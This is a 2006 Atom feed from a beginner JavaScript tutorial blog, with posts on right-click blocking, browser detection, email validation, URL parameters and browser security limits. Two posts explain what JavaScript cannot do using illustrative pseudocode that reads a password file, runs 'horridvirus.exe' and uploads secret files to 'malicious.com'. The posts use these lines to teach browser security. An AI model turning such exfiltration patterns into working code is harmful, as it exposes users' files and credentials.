<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-32556551</id><updated>2011-09-21T07:04:33.203-07:00</updated><title type='text'>A complete Javascript Blog</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://javascriptmagic.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://javascriptmagic.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>20</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-32556551.post-116470911288504412</id><published>2006-11-28T02:18:00.000-08:00</published><updated>2006-11-28T02:18:33.470-08:00</updated><title type='text'>Javascript function to disable right click</title><content type='html'>&lt;p&gt;Disabling right click using Javascript function.&lt;/p&gt;&lt;pre style="FONT-SIZE: 9pt"&gt;&amp;lt;script language="javascript" type="text/javascript"&amp;gt;var IE;var NN;if(navigator.appName=="Microsoft Internet Explorer"){     IE=true;}if(navigator.appName=="Netscape"){    NN=true;}function right(click){    if(IE&amp;amp;&amp;amp;(event.button==2||event.button==3))    {        alert('The right click is disabled');        false;    }        if(NN&amp;amp;&amp;amp;(click.which==2||click.which==3))    {       alert('The right click is disabled');       false;    }}if(document.layers)window.captureEvents(Events.MOUSEDOWN)if(document.layers)window.captureEvents(Events.MOUSEUP)document.onmousedown=right;document.onmouseup=right;window.document.layers=right;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32556551-116470911288504412?l=javascriptmagic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javascriptmagic.blogspot.com/feeds/116470911288504412/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32556551&amp;postID=116470911288504412' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/116470911288504412'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/116470911288504412'/><link rel='alternate' type='text/html' href='http://javascriptmagic.blogspot.com/2006/11/javascript-function-to-disable-right.html' title='Javascript function to disable right click'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32556551.post-116063106119317156</id><published>2006-10-11T22:31:00.000-07:00</published><updated>2006-10-11T22:31:01.326-07:00</updated><title type='text'>Detecting the browser using simple javascript function</title><content type='html'>&lt;p&gt;&lt;/p&gt; &lt;p&gt;Where the code used to check for &lt;code&gt;if (ie) { ... }&lt;/code&gt;, now I wanted it to check for &lt;code&gt;if (ie6OrLower) { ... }&lt;/code&gt;. So how to you tell the difference between IE 6 and IE 7+? You could parse the user-agent string, but I’d rather detect changes in the javascript object model. Here’s what I came up with: &lt;pre&gt;if (typeof document.body.style.maxHeight != "undefined") {&lt;br /&gt;  // IE 7, mozilla, safari, opera 9&lt;br /&gt;} else {&lt;br /&gt;  // IE6, older browsers&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;This distinguishes between browsers based on the fact that IE 7 knows about the maxHeight css property, whereas previous versions of IE didn’t.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32556551-116063106119317156?l=javascriptmagic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javascriptmagic.blogspot.com/feeds/116063106119317156/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32556551&amp;postID=116063106119317156' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/116063106119317156'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/116063106119317156'/><link rel='alternate' type='text/html' href='http://javascriptmagic.blogspot.com/2006/10/detecting-browser-using-simple.html' title='Detecting the browser using simple javascript function'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32556551.post-116054321672092842</id><published>2006-10-10T22:06:00.000-07:00</published><updated>2006-10-10T22:06:56.726-07:00</updated><title type='text'>Simple javascript function to open all the collapsible panels</title><content type='html'>&lt;p&gt;&lt;/p&gt;&lt;pre&gt;function OpenAll(sender)&lt;br /&gt;    {&lt;br /&gt;        if(sender == 'ctl00_CPH_CustomerCP')&lt;br /&gt;        {&lt;br /&gt;            var ids = ['ctl00_CPH_LiabilitiesCP','ctl00_CPH_IncomeCP'];&lt;br /&gt;        }&lt;br /&gt;        &lt;br /&gt;        else if(sender == 'ctl00_CPH_LiabilitiesCP')&lt;br /&gt;        {&lt;br /&gt;            var ids = ['ctl00_CPH_CustomerCP','ctl00_CPH_IncomeCP'];&lt;br /&gt;        }&lt;br /&gt;        &lt;br /&gt;        else if(sender == 'ctl00_CPH_IncomeCP')&lt;br /&gt;        {&lt;br /&gt;            var ids = ['ctl00_CPH_CustomerCP','ctl00_CPH_LiabilitiesCP'];&lt;br /&gt;        }&lt;br /&gt;        &lt;br /&gt;        for (var i = 0; i &amp;lt; ids.length; i++)&lt;br /&gt;        {&lt;br /&gt;            var ctrl = $object(ids[i]);&lt;br /&gt;            if (!ctrl) continue;&lt;br /&gt;            &lt;br /&gt;            // Musze sprawdzic wszystkie mozliwe zachowania&lt;br /&gt;            var behaviors = ctrl.get_behaviors();&lt;br /&gt;            for (var j = 0; j &amp;lt; behaviors.length; j++)&lt;br /&gt;            {&lt;br /&gt;                // Sprawdzam czy mamy CP o podanej nazwie&lt;br /&gt;                var behavior = behaviors[j];&lt;br /&gt;                if (Object.getTypeName(behavior) == 'AtlasControlToolkit.CollaspablePanelBehavior')&lt;br /&gt;                {&lt;br /&gt;                    behavior._doOpen();&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;    }&lt;/pre&gt;&lt;br /&gt;&lt;div class="wlWriterSmartContent" id="0767317B-992E-4b12-91E0-4F059A8CECA8:fcf3772b-d7b4-4655-be92-2f3741df15c8" contenteditable="false" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati tags: &lt;a href="http://technorati.com/tags/javascript%20function" rel="tag"&gt;javascript function&lt;/a&gt;, &lt;a href="http://technorati.com/tags/open" rel="tag"&gt;open&lt;/a&gt;, &lt;a href="http://technorati.com/tags/collapsible%20panels" rel="tag"&gt;collapsible panels&lt;/a&gt;, &lt;a href="http://technorati.com/tags/javascript" rel="tag"&gt;javascript&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32556551-116054321672092842?l=javascriptmagic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javascriptmagic.blogspot.com/feeds/116054321672092842/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32556551&amp;postID=116054321672092842' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/116054321672092842'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/116054321672092842'/><link rel='alternate' type='text/html' href='http://javascriptmagic.blogspot.com/2006/10/simple-javascript-function-to-open-all.html' title='Simple javascript function to open all the collapsible panels'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32556551.post-116054305600765769</id><published>2006-10-10T22:04:00.000-07:00</published><updated>2006-10-10T22:04:16.116-07:00</updated><title type='text'>A simple javascript function to validate email address</title><content type='html'>&lt;p&gt;This is a simple javascript funciton which validates the entered email address. You can add this to your javascript library functions. Know more information from &lt;a title="validate email address javascript function" href="http://www.codekeep.net/snippets/77c380b1-0695-4a1b-8171-4a39c040dcfa.aspx" target="_blank" rel="validate email address javascript function"&gt;this link&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;//calling the method&lt;br /&gt;btnSubmit.Attributes.Add("OnClick", "javascript:return CheckEmail('txtEmail');")&lt;br /&gt;  &lt;br /&gt;//function CheckEmail&lt;br /&gt;                function CheckEmail(ControlID)&lt;br /&gt;	                {&lt;br /&gt;	                    var str=document.getElementById(ControlID).value;	 &lt;br /&gt;		                if (str != "" )&lt;br /&gt;		                {&lt;br /&gt;		                    &lt;br /&gt;			                var at="@"&lt;br /&gt;			                var dot="."&lt;br /&gt;			                var lat=str.indexOf(at)&lt;br /&gt;			                var lstr=str.length&lt;br /&gt;			                var ldot=str.indexOf(dot)&lt;br /&gt;                							&lt;br /&gt;				                if (str.indexOf(at)==-1)&lt;br /&gt;				                {&lt;br /&gt;					                alert("Invalid E-mail ID");&lt;br /&gt;					                document.getElementById(ControlID).focus();					&lt;br /&gt;					                return false;&lt;br /&gt;				                }&lt;br /&gt;&lt;br /&gt;				                if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr)&lt;br /&gt;				                {&lt;br /&gt;					                alert("Invalid E-mail ID");	&lt;br /&gt;					                document.getElementById(ControlID).focus();					&lt;br /&gt;					                return false;&lt;br /&gt;				                }&lt;br /&gt;&lt;br /&gt;				                if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr)&lt;br /&gt;				                {&lt;br /&gt;					                alert("Invalid E-mail ID");&lt;br /&gt;					                document.getElementById(ControlID).focus();						&lt;br /&gt;					                return false;&lt;br /&gt;				                }&lt;br /&gt;&lt;br /&gt;				                if (str.indexOf(at,(lat+1))!=-1)&lt;br /&gt;				                {&lt;br /&gt;					                alert("Invalid E-mail ID");&lt;br /&gt;					                document.getElementById(ControlID).focus();	&lt;br /&gt;					                return false;&lt;br /&gt;				                }&lt;br /&gt;&lt;br /&gt;				                if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot)&lt;br /&gt;				                {&lt;br /&gt;					                alert("Invalid E-mail ID");&lt;br /&gt;					                document.getElementById(ControlID).focus();	&lt;br /&gt;					                return false;&lt;br /&gt;				                }&lt;br /&gt;&lt;br /&gt;				                if (str.indexOf(dot,(lat+2))==-1)&lt;br /&gt;				                {&lt;br /&gt;					                alert("Invalid E-mail ID");&lt;br /&gt;					                document.getElementById(ControlID).focus();	&lt;br /&gt;					                return false;&lt;br /&gt;				                }&lt;br /&gt;&lt;br /&gt;				                if (str.indexOf(" ")!=-1)&lt;br /&gt;				                {&lt;br /&gt;					                alert("Invalid E-mail ID");&lt;br /&gt;					                document.getElementById(ControlID).focus();	&lt;br /&gt;					                return false;&lt;br /&gt;				                }&lt;br /&gt; 			                return true;&lt;br /&gt; 		                }&lt;br /&gt;		           }	&lt;/font&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32556551-116054305600765769?l=javascriptmagic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javascriptmagic.blogspot.com/feeds/116054305600765769/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32556551&amp;postID=116054305600765769' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/116054305600765769'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/116054305600765769'/><link rel='alternate' type='text/html' href='http://javascriptmagic.blogspot.com/2006/10/simple-javascript-function-to-validate.html' title='A simple javascript function to validate email address'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32556551.post-115925109367582224</id><published>2006-09-25T23:11:00.000-07:00</published><updated>2006-09-25T23:11:33.683-07:00</updated><title type='text'>The list of different Javascript Versions</title><content type='html'>&lt;p&gt;JavaScript is primarily a scripting language for use within HTML pages, while Java is a real programming language that does quite different things from JavaScript. In addition Java is much harder to learn. It was developed by &lt;a href="http://www.sun.com"&gt;Sun&lt;/a&gt; for use in pretty much anything that needs some computing power. &lt;p&gt;JavaScript was developed by Brendan Eich, then working at &lt;a href="http://www.netscape.com" target="_blank"&gt;Netscape&lt;/a&gt;, as a client side scripting language (even though there's no fundamental reason why it can't be used in a server side environment). &lt;p&gt;Originally the language was called Live Script, but when it was about to be released Java had become immensely popular (and slightly hypey). At the last possible moment Netscape changed the name of its scripting language to “JavaScript”. This was done purely for marketing reasons. Worse, Eich was ordered to "make it look like Java". This has given rise to the idea that JavaScript is a "dumbed-down" version of Java. Unfortunately there's not the slightest shred of truth in this story. &lt;p&gt;Java and JavaScript both descend from C and C++, but the languages (or rather, their ancestors) have gone in quite different directions. You can see them as distantly related cousins. Both are object oriented (though this is less important in JavaScript than in many other languages) and they share some syntax, but the differences are more important than the similarities. &lt;h4&gt;&lt;strong&gt;Javascript Versions&lt;/strong&gt;&lt;/h4&gt; &lt;p&gt;There have been several formal versions of JavaScript. &lt;ul&gt; &lt;li&gt;1.0: Netscape 2  &lt;li&gt;1.1: Netscape 3 and Explorer 3 (the latter has &lt;em&gt;bad&lt;/em&gt; JavaScript support, regardless of its version) &lt;li&gt;1.2: Early Version 4 browsers  &lt;li&gt;1.3: Later Version 4 browsers and Version 5 browsers  &lt;li&gt;1.4: Not used in browsers, only on Netscape servers  &lt;li&gt;1.5: Current version.  &lt;li&gt;2.0: Currently &lt;a href="http://weblogs.mozillazine.org/roadmap/"&gt;under development by Brendan Eich&lt;/a&gt; and others. &lt;/li&gt;&lt;/ul&gt; &lt;p&gt;Originally, these version numbers were supposed to give support information. This-and-that method would only be supported by browsers understanding JavaScript 1.something . The higher the version number, the more nifty features the browser would support. &lt;p&gt;&lt;a href="http://www.quirksmode.org/js/intro.html" target="_blank" rel="list of different javascript versions"&gt;Get more information&lt;/a&gt; &lt;p&gt;Tags: &lt;a href="http://technorati.com/tag/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="http://technorati.com/tag/javascript+versions"&gt;javascript versions&lt;/a&gt;, &lt;a href="http://technorati.com/tag/livescript"&gt;livescript&lt;/a&gt;, &lt;a href="http://technorati.com/tag/netscape"&gt;netscape&lt;/a&gt;, &lt;a href="http://technorati.com/tag/browser"&gt;browser&lt;/a&gt;, &lt;a href="http://technorati.com/tag/html+pages"&gt;html pages&lt;/a&gt;, &lt;a href="http://technorati.com/tag/sun"&gt;sun&lt;/a&gt;, &lt;a href="http://technorati.com/tag/brendan+eich"&gt;brendan eich&lt;/a&gt;, &lt;a href="http://technorati.com/tag/server+side"&gt;server side&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32556551-115925109367582224?l=javascriptmagic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javascriptmagic.blogspot.com/feeds/115925109367582224/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32556551&amp;postID=115925109367582224' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115925109367582224'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115925109367582224'/><link rel='alternate' type='text/html' href='http://javascriptmagic.blogspot.com/2006/09/list-of-different-javascript-versions.html' title='The list of different Javascript Versions'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32556551.post-115925088345088293</id><published>2006-09-25T23:08:00.000-07:00</published><updated>2006-09-25T23:08:03.456-07:00</updated><title type='text'>The Security provided by Javascript Language</title><content type='html'>&lt;p&gt;JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that's not contained by the browser. But even within the browser there are some no–go areas. Basically JavaScript wants to protect the privacy of the user by disallowing some actions and asking permission for others:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;You cannot read out the history of the browser. Thus a malicious site owner cannot write a script that finds out where you surfed to recently.&lt;br&gt;You can go back or forward in the browsing history, but you cannot find out which page you’ll go to.  &lt;li&gt;You cannot do anything in pages that come from another server. So if your frameset contains two pages from two servers, they cannot communicate with each other. Thus a malicious site owner cannot find out which sites you’ve opened in other browser windows. See the &lt;a href="http://www.quirksmode.org/js/framebust.html"&gt;frame busting&lt;/a&gt; page for some more information.  &lt;li&gt;You cannot set the value of a file upload field (&lt;code&gt;&amp;lt;input type="file"&amp;gt;&lt;/code&gt;). &lt;pre&gt;document.forms[0].upload_field.value = '/my/password/file';&lt;br /&gt;document.forms[0].submit();&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;li&gt;If you try to close a browser window that has &lt;em&gt;not&lt;/em&gt; been opened by JavaScript, the user is asked to confirm this action.&lt;br&gt;However, this rule isn't implemented in all browsers and is &lt;a href="http://www.quirksmode.org/js/croswin.html#closingopener"&gt;easy to work around&lt;/a&gt; in Explorer. &lt;br /&gt;&lt;li&gt;If you try to submit a form to a mail address by JavaScript, the user is asked to confirm this action. &lt;br /&gt;&lt;li&gt;You should not be able to open a new window smaller than 100x100 pixels and/or to position it outside the screen area of the computer. Thus a malicious site owner cannot spawn an invisible window.&lt;br&gt;Note that Explorer on Windows (and maybe other browsers, too) does allow this, contrary to safety regulations. &lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;p&gt;Thus JavaScript is a scripting language for influencing HTML elements, like forms, images, layers, paragraphs and such, and for influencing a few non–HTML objects like the browser window. Nothing more, but (most importantly) nothing less.&lt;br /&gt;&lt;p&gt;&lt;a href="http://www.quirksmode.org/js/intro.html" target="_blank" rel="the security provided by javascript language"&gt;Get more information&lt;/a&gt;&lt;br /&gt;&lt;p&gt;Tags: &lt;a href="http://technorati.com/tag/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="http://technorati.com/tag/javascript+security"&gt;javascript security&lt;/a&gt;, &lt;a href="http://technorati.com/tag/html+page"&gt;html page&lt;/a&gt;, &lt;a href="http://technorati.com/tag/web+page"&gt;web page&lt;/a&gt;, &lt;a href="http://technorati.com/tag/password+file"&gt;password file&lt;/a&gt;, &lt;a href="http://technorati.com/tag/malicious+site"&gt;malicious site&lt;/a&gt;, &lt;a href="http://technorati.com/tag/frame+busting"&gt;frame busting&lt;/a&gt;, &lt;a href="http://technorati.com/tag/script"&gt;script&lt;/a&gt;, &lt;a href="http://technorati.com/tag/frameset"&gt;frameset&lt;/a&gt;, &lt;a href="http://technorati.com/tag/submit+form"&gt;submit form&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32556551-115925088345088293?l=javascriptmagic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javascriptmagic.blogspot.com/feeds/115925088345088293/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32556551&amp;postID=115925088345088293' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115925088345088293'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115925088345088293'/><link rel='alternate' type='text/html' href='http://javascriptmagic.blogspot.com/2006/09/security-provided-by-javascript.html' title='The Security provided by Javascript Language'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32556551.post-115925071629732708</id><published>2006-09-25T23:05:00.000-07:00</published><updated>2006-09-25T23:05:16.386-07:00</updated><title type='text'>The following Javascript cannot do...</title><content type='html'>&lt;p align="left"&gt;&lt;/p&gt; &lt;p align="left"&gt;JavaScript is not a programming language in strict sense. Instead, it is a scripting language because it uses the browser to do the dirty work. If you command an image to be replaced by another one, JavaScript tells the browser to go do it. Because the browser actually does the work, you only need to pull some strings by writing some relatively easy lines of code. That’s what makes JavaScript an easy language to start with.  &lt;p align="left"&gt;But don’t be fooled by some beginner’s luck: JavaScript can be pretty difficult, too. First of all, despite its simple appearance it is a full fledged programming language: it is possible to write quite complex programs in JavaScript. This is rarely necessary when dealing with web pages, but it is possible. This means that there are some complex programming structures that you’ll only understand after protracted studies.  &lt;p align="left"&gt;Secondly, and more importantly, there are the browser differences. Though modern web browsers all support JavaScript, there is no sacred law that says they should support exactly the same JavaScript. A large part of this site is devoted to exploring and explaining these browser differences and finding ways to cope with them.  &lt;p align="left"&gt;So basic JavaScript is easy to learn, but when you start writing advanced scripts browser differences (and occasionally syntactic problems) will creep up.  &lt;ol&gt; &lt;li&gt; &lt;div align="left"&gt;JavaScript cannot read files from or write them to the file system on the computer. This would be a clear security hazard &lt;/div&gt; &lt;div align="left"&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;filesystem.read('/my/password/file');&lt;br /&gt;filesystem.write('horridvirus.exe');&lt;/font&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;li&gt;&lt;br /&gt;&lt;div align="left"&gt;JavaScript cannot execute any other programs. This would also be unacceptable &lt;/div&gt;&lt;br /&gt;&lt;div align="left"&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;execute('horridvirus.exe')&lt;/font&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;li&gt;&lt;br /&gt;&lt;div align="left"&gt;JavaScript cannot establish any connection to whatever computer, except to download a new HTML page or to send mail. This, too, would create unacceptable hazards: &lt;/div&gt;&lt;br /&gt;&lt;div align="left"&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;var security_hazard = connection.open('malicious.com');&lt;br /&gt;security_hazard.upload(filesystem.read('/my/password/file'));&lt;br /&gt;security_hazard.upload(filesystem.read('/ultra_secret/loans.xls'));&lt;/font&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;p align="left"&gt;Thus JavaScript simply cannot do such dangerous things. Unfortunately Microsoft has seen fit to add some filesystem commands nonetheless, in combination with its ActiveX technology. This means that Explorer on Windows is structurally less safe than any other browser. It has some built–in protection, but hackers regularly find weaknesses. The first &lt;a href="http://www.symantec.com/avcenter/venc/data/js.gigger.a@mm.html"&gt;JavaScript virus&lt;/a&gt; I heard of works in such a way. &lt;br /&gt;&lt;p align="left"&gt;So JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that's not contained by the browser. But even within the browser there are some no–go areas. &lt;br /&gt;&lt;p align="left"&gt;&lt;a href="http://www.quirksmode.org/js/intro.html" target="_blank" rel="what javascript cannot do java"&gt;Get more information&lt;/a&gt; &lt;br /&gt;&lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="http://technorati.com/tag/programming+language"&gt;programming language&lt;/a&gt;, &lt;a href="http://technorati.com/tag/scripting+language"&gt;scripting language&lt;/a&gt;, &lt;a href="http://technorati.com/tag/browser"&gt;browser&lt;/a&gt;, &lt;a href="http://technorati.com/tag/browser+support"&gt;browser support&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32556551-115925071629732708?l=javascriptmagic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javascriptmagic.blogspot.com/feeds/115925071629732708/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32556551&amp;postID=115925071629732708' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115925071629732708'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115925071629732708'/><link rel='alternate' type='text/html' href='http://javascriptmagic.blogspot.com/2006/09/following-javascript-cannot-do.html' title='The following Javascript cannot do...'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32556551.post-115867878264746690</id><published>2006-09-19T08:13:00.000-07:00</published><updated>2006-09-19T08:13:02.686-07:00</updated><title type='text'>A simple Javascript function to get URL parameters</title><content type='html'>&lt;p align="left"&gt;Most of the server-side programming languages that I know of like PHP, ASP, or JSP give you easy access to parameters in the query string of a URL. Javascript does not give you easy access. With javascript you must write your own function to parse the window.location.href value to get the query string parameters you want. Here is a small function I wrote that will parse the window.location.href&amp;nbsp;value and return the value for the parameter you specify. It does this using javascript's built in regular expressions. Here is the function:  &lt;div align="left"&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;function gup( name )&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;var regexS = "[\\?&amp;amp;]"+name+"=([^&amp;amp;#]*)";&lt;br /&gt;&amp;nbsp;&amp;nbsp;var regex = new RegExp( regexS );&lt;br /&gt;&amp;nbsp;&amp;nbsp;var tmpURL = window.location.href;&lt;br /&gt;&amp;nbsp;&amp;nbsp;var results = regex.exec( tmpURL );&lt;br /&gt;&amp;nbsp;&amp;nbsp;if( results == null )&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return "";&lt;br /&gt;&amp;nbsp;&amp;nbsp;else&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return results[1];&lt;br /&gt;}&lt;/font&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;p align="left"&gt;The way that the function is used is fairly simple. Let's say you have the following URL: &lt;br /&gt;&lt;p align="left"&gt;&lt;a href="javascript:alert( 'This is just a fake URL' );"&gt;http://www.foo.com/index.html?bob=123&amp;amp;frank=321&amp;amp;tom=213#top&lt;/a&gt; &lt;br /&gt;&lt;p align="left"&gt;You want to get the value from the frank parameter so you call the javascript function as follows: &lt;br /&gt;&lt;p align="left"&gt;var frank_param = gup( 'frank' ); &lt;br /&gt;&lt;p align="left"&gt;Now if you look at the frank_param variable it contains the number 321. The query string was parsed by the regular expression and the value of the frank parameter was retrieved. The function is smart in a couple of ways. For example, if you have an anchor in your URL like our example URL above does (#top) the gup() function knows to stop before the # character. Also, if a requested parameter doesn't exist in the query string then an empty string is returned instead of a null. &lt;br /&gt;&lt;p align="left"&gt;&lt;a href="http://www.netlobo.com/url_query_string_javascript.html" target="_blank" rel="get url parameters using javascript"&gt;Get more information&lt;/a&gt; &lt;br /&gt;&lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="http://technorati.com/tag/url+parameters"&gt;url parameters&lt;/a&gt;, &lt;a href="http://technorati.com/tag/get+url+parameters"&gt;get url parameters&lt;/a&gt;, &lt;a href="http://technorati.com/tag/server+side"&gt;server side&lt;/a&gt;, &lt;a href="http://technorati.com/tag/window.location.href"&gt;window.location.href&lt;/a&gt;, &lt;a href="http://technorati.com/tag/javascript+function"&gt;javascript function&lt;/a&gt; &lt;br /&gt;&lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32556551-115867878264746690?l=javascriptmagic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javascriptmagic.blogspot.com/feeds/115867878264746690/comments/default' title='Post 